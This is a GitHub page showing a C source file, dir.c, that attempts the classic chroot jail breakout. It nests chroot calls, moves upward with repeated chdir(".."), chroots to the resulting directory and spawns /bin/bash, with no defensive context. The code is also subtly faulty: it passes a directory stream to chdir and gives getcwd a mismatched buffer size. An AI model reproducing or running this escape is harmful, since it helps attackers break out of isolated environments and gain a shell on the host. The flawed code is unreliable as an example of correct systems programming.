-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathdir.c
65 lines (47 loc) · 1.29 KB
/
dir.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
#include <stdio.h>
#include <sys/types.h>
#include <dirent.h>
#include <errno.h>
#include <stdlib.h>
void print_current();
int main(int argc, char** argv) {
int i;
DIR *dir;
print_current();
puts("Chroot to /tmp\n");
// Create jail
if(chroot("/tmp") != 0) {
printf("chroot to /tmp failure \n");
exit(EXIT_FAILURE);
}
// Create dir
dir = opendir("bin");
if(chroot("/bin") != 0) {
printf("chroot to /bin failure \n");
exit(EXIT_FAILURE);
}
print_current();
puts("Chdir to the hander\n");
if(chdir(dir) != 0)
printf("change directory to handler failure \n");
print_current();
for(i = 0; i < 1024; i++) {
if(chdir("..") != 0) {
printf("%d Unable to cd ..\n", i);
}
}
print_current();
// Chroot to .
if(chroot(".") != 0) {
printf("chroot failure \n");
exit(EXIT_FAILURE);
}
system("/bin/bash");
return 0;
}
void print_current() {
char buffer[100];
getcwd (buffer, 50);
printf("Current Directory: %s\n", buffer);
return;
}